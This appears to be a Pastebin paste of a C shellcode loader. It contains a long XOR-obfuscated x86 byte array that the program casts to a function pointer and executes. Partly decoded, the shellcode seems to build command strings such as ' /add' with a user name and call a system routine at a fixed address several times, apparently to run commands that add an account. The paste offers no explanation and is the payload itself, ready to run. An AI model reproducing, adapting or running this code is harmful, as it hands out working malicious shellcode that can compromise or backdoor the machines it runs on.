Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. #include <stdio.h>
  2. #include <string.h>
  3. int main(){
  4. unsigned char shellcode[]=
  5.                     "\x31\xc0\x50\xb8\x41\x41\x41\x64\xc1\xe8\x08
  6.                      \xc1\xe8\x08\xc1\xe8\x08\x50\xb9\x6d\x76\x53
  7.                      \x52\xba\x4d\x59\x32\x36\x31\xd1\x51\xb9\x6e
  8.                      \x72\x61\x71\xba\x4e\x33\x2d\x38\x31\xd1\x51
  9.                      \xb9\x6c\x75\x78\x78\xba\x4c\x34\x34\x31\x31
  10.                      \xd1\x51\xb9\x46\x47\x57\x46\xba\x33\x34\x32
  11.                      \x34\x31\xd1\x51\xb9\x56\x50\x47\x64\xba\x38
  12.                      \x35\x33\x44\x31\xd1\x51\x89\xe0\xbb\x41\x41
  13.                      \x41\x01\xc1\xeb\x08\xc1\xeb\x08\xc1\xeb\x08
  14.                      \x53\x50\xbb\xdc\x7a\xa8\x23\xba\x4d\x56\x36
  15.                      \x55\x31\xd3\xff\xd3\x31\xc0\x50\x68\x41\x41
  16.                      \x64\x64\x58\xc1\xe8\x08\xc1\xe8\x08\x50\xb9
  17.                      \x01\x41\x60\x32\xba\x48\x61\x4f\x53\x31\xd1
  18.                      \x51\xb9\x28\x47\x0d\x2f\xba\x5b\x67\x4c\x63
  19.                      \x31\xd1\x51\xb9\x03\x24\x36\x21\xba\x62\x50
  20.                      \x59\x53\x31\xd1\x51\xb9\x34\x41\x15\x18\xba
  21.                      \x5d\x32\x61\x6a\x31\xd1\x51\xb9\x0c\x05\x1b
  22.                      \x25\xba\x68\x68\x72\x4b\x31\xd1\x51\xb9\x2f
  23.                      \x27\x7b\x13\xba\x5a\x57\x5b\x52\x31\xd1\x51
  24.                      \xb9\x1c\x2c\x02\x3e\xba\x70\x4b\x70\x51\x31
  25.                      \xd1\x51\xb9\x3d\x2a\x32\x4c\xba\x51\x45\x51
  26.                      \x2d\x31\xd1\x51\xb9\x23\x5c\x1c\x19\xba\x4d
  27.                      \x39\x68\x39\x31\xd1\x51\x89\xe0\xbb\x41\x41
  28.                      \x41\x01\xc1\xeb\x08\xc1\xeb\x08\xc1\xeb\x08
  29.                      \x53\x50\xbb\xdc\x7a\xa8\x23\xba\x4d\x56\x36
  30.                      \x55\x31\xd3\xff\xd3\x31\xc0\x50\x68\x41\x41
  31.                      \x64\x64\x58\xc1\xe8\x08\xc1\xe8\x08\x50\xb9
  32.                      \x02\x63\x6b\x35\xba\x4b\x43\x44\x54\x31\xd1
  33.                      \x51\xb9\x61\x55\x6c\x3d\xba\x43\x75\x2d\x71
  34.                      \x31\xd1\x51\xb9\x27\x3f\x3b\x1a\xba\x54\x5a
  35.                      \x49\x69\x31\xd1\x51\xb9\x25\x34\x12\x67\xba
  36.                      \x4a\x44\x32\x32\x31\xd1\x51\xb9\x0b\x02\x1f
  37.                      \x19\xba\x6e\x71\x74\x6d\x31\xd1\x51\xb9\x39
  38.                      \x3f\x7b\x15\xba\x4d\x5a\x5b\x51\x31\xd1\x51
  39.                      \xb9\x35\x15\x03\x2a\xba\x67\x70\x6e\x45\x31
  40.                      \xd1\x51\xb9\x3a\x17\x75\x46\xba\x6f\x47\x55
  41.                      \x64\x31\xd1\x51\xb9\x26\x35\x0b\x1e\xba\x6a
  42.                      \x72\x59\x51\x31\xd1\x51\xb9\x2a\x2a\x06\x2a
  43.                      \xba\x66\x65\x45\x6b\x31\xd1\x51\xb9\x1d\x20
  44.                      \x35\x5a\xba\x53\x65\x61\x7a\x31\xd1\x51\x89
  45.                      \xe0\xbb\x41\x41\x41\x01\xc1\xeb\x08\xc1\xeb
  46.                      \x08\xc1\xeb\x08\x53\x50\xbb\xdc\x7a\xa8\x23
  47.                      \xba\x4d\x56\x36\x55\x31\xd3\xff\xd3\x31\xc0
  48.                      \x50\xb9\x09\x4c\x7c\x5e\xba\x38\x6c\x53\x38
  49.                      \x31\xd1\x51\xb9\x42\x4d\x39\x14\xba\x62\x62
  50.                      \x5d\x34\x31\xd1\x51\xb9\x7a\x24\x26\x75\xba
  51.                      \x2d\x6b\x74\x31\x31\xd1\x51\xb9\x1d\x30\x15
  52.                      \x28\xba\x58\x77\x4a\x6c\x31\xd1\x51\xb9\x7c
  53.                      \x2f\x57\x16\xba\x53\x5b\x77\x44\x31\xd1\x51
  54.                      \xb9\x42\x25\x2a\x66\xba\x2d\x4b\x59\x46\x31
  55.                      \xd1\x51\xb9\x28\x2f\x0c\x5a\xba\x4d\x4c\x78
  56.                      \x33\x31\xd1\x51\xb9\x20\x2b\x26\x26\xba\x63
  57.                      \x44\x48\x48\x31\xd1\x51\xb9\x08\x2b\x23\x67
  58.                      \xba\x66\x52\x77\x34\x31\xd1\x51\xb9\x49\x1c
  59.                      \x2e\x48\xba\x69\x7a\x6a\x2d\x31\xd1\x51\xb9
  60.                      \x67\x67\x1d\x37\xba\x45\x47\x32\x41\x31\xd1
  61.                      \x51\xb9\x03\x33\x0d\x3b\xba\x71\x45\x68\x49
  62.                      \x31\xd1\x51\xb9\x39\x6a\x3c\x2f\xba\x55\x4a
  63.                      \x6f\x4a\x31\xd1\x51\xb9\x37\x44\x1f\x2e\xba
  64.                      \x5a\x2d\x71\x4f\x31\xd1\x51\xb9\x34\x23\x23
  65.                      \x3b\xba\x68\x77\x46\x49\x31\xd1\x51\xb9\x07
  66.                      \x3a\x0a\x14\xba\x73\x48\x65\x78\x31\xd1\x51
  67.                      \xb9\x14\x2e\x58\x53\xba\x48\x6d\x37\x3d\x31
  68.                      \xd1\x51\xb9\x3e\x3d\x26\x32\xba\x52\x6e\x43
  69.                      \x46\x31\xd1\x51\xb9\x33\x3c\x35\x34\xba\x5d
  70.                      \x48\x47\x5b\x31\xd1\x51\xb9\x36\x0e\x07\x2b
  71.                      \xba\x58\x7a\x44\x44\x31\xd1\x51\xb9\x3c\x10
  72.                      \x0a\x37\xba\x49\x62\x78\x52\x31\xd1\x51\xb9
  73.                      \x24\x7c\x3b\x36\xba\x61\x31\x67\x75\x31\xd1
  74.                      \x51\xb9\x31\x3d\x3b\x27\xba\x62\x64\x68\x73
  75.                      \x31\xd1\x51\xb9\x7f\x7d\x3d\x35\xba\x36\x33
  76.                      \x78\x69\x31\xd1\x51\xb9\x7c\x13\x0f\x2f\xba
  77.                      \x31\x52\x4c\x67\x31\xd1\x51\xb9\x1b\x08\x35
  78.                      \x2d\xba\x58\x49\x79\x72\x31\xd1\x51\xb9\x74
  79.                      \x3a\x1e\x21\xba\x2d\x65\x52\x6e\x31\xd1\x51
  80.                      \xb9\x16\x10\x1f\x17\xba\x34\x58\x54\x52\x31
  81.                      \xd1\x51\xb9\x2f\x27\x0c\x6e\xba\x4e\x43\x68
  82.                      \x4e\x31\xd1\x51\xb9\x39\x22\x5e\x50\xba\x4b
  83.                      \x47\x39\x70\x31\xd1\x51\x89\xe0\xbb\x41\x41
  84.                      \x41\x01\xc1\xeb\x08\xc1\xeb\x08\xc1\xeb\x08
  85.                      \x53\x50\xbb\xdc\x7a\xa8\x23\xba\x4d\x56\x36
  86.                      \x55\x31\xd3\xff\xd3\x31\xc0\x50\xb8\x41\x41
  87.                      \x41\x65\xc1\xe8\x08\xc1\xe8\x08\xc1\xe8\x08
  88.                      \x50\xb9\x1e\x53\x39\x3c\xba\x6d\x32\x5b\x50
  89.                      \x31\xd1\x51\xb9\x04\x66\x2f\x32\xba\x61\x46
  90.                      \x4b\x5b\x31\xd1\x51\xb9\x19\x1e\x0d\x11\xba
  91.                      \x69\x73\x62\x75\x31\xd1\x51\xb9\x20\x41\x47
  92.                      \x36\xba\x45\x35\x67\x59\x31\xd1\x51\xb9\x2b
  93.                      \x05\x64\x2a\xba\x47\x69\x44\x59\x31\xd1\x51
  94.                      \xb9\x10\x3f\x4f\x22\xba\x62\x5a\x38\x43\x31
  95.                      \xd1\x51\xb9\x2a\x6f\x2a\x24\xba\x42\x4f\x4c
  96.                      \x4d\x31\xd1\x51\xb9\x29\x09\x1e\x5e\xba\x47
  97.                      \x6c\x6a\x2d\x31\xd1\x51\x89\xe0\xbb\x41\x41
  98.                      \x41\x01\xc1\xeb\x08\xc1\xeb\x08\xc1\xeb\x08
  99.                      \x53\x50\xbb\xdc\x7a\xa8\x23\xba\x4d\x56\x36
  100.                      \x55\x31\xd3\xff\xd3\x31\xc0\x50\xb8\x41\x41
  101.                      \x41\x6f\xc1\xe8\x08\xc1\xe8\x08\xc1\xe8\x08
  102.                      \x50\xb9\x72\x2a\x05\x39\xba\x52\x4b\x70\x4d
  103.                      \x31\xd1\x51\xb9\x54\x3a\x05\x52\xba\x35\x48
  104.                      \x71\x6f\x31\xd1\x51\xb9\x29\x16\x0a\x47\xba
  105.                      \x4c\x36\x79\x33\x31\xd1\x51\xb9\x27\x1b\x5b
  106.                      \x3e\xba\x55\x6d\x32\x5d\x31\xd1\x51\xb9\x33
  107.                      \x1a\x3b\x10\xba\x41\x77\x48\x75\x31\xd1\x51
  108.                      \xb9\x34\x79\x3a\x12\xba\x53\x59\x4e\x77\x31
  109.                      \xd1\x51\xb9\x1d\x5c\x1e\x28\xba\x72\x32\x78
  110.                      \x41\x31\xd1\x51\xb9\x2a\x4e\x5a\x28\xba\x59
  111.                      \x2d\x7a\x4b\x31\xd1\x51\x89\xe0\xbb\x41\x41
  112.                      \x41\x01\xc1\xeb\x08\xc1\xeb\x08\xc1\xeb\x08
  113.                      \x53\x50\xbb\xdc\x7a\xa8\x23\xba\x4d\x56\x36
  114.                      \x55\x31\xd3\xff\xd3\xbb\x9b\x4f\xd0\x30\xba
  115.                      \x63\x36\x46\x46\x31\xd3\xff\xd3";
  116. fprintf(stdout,"Length: %d\n\n",strlen(shellcode));
  117.     (*(void(*)()) shellcode)();
  118. }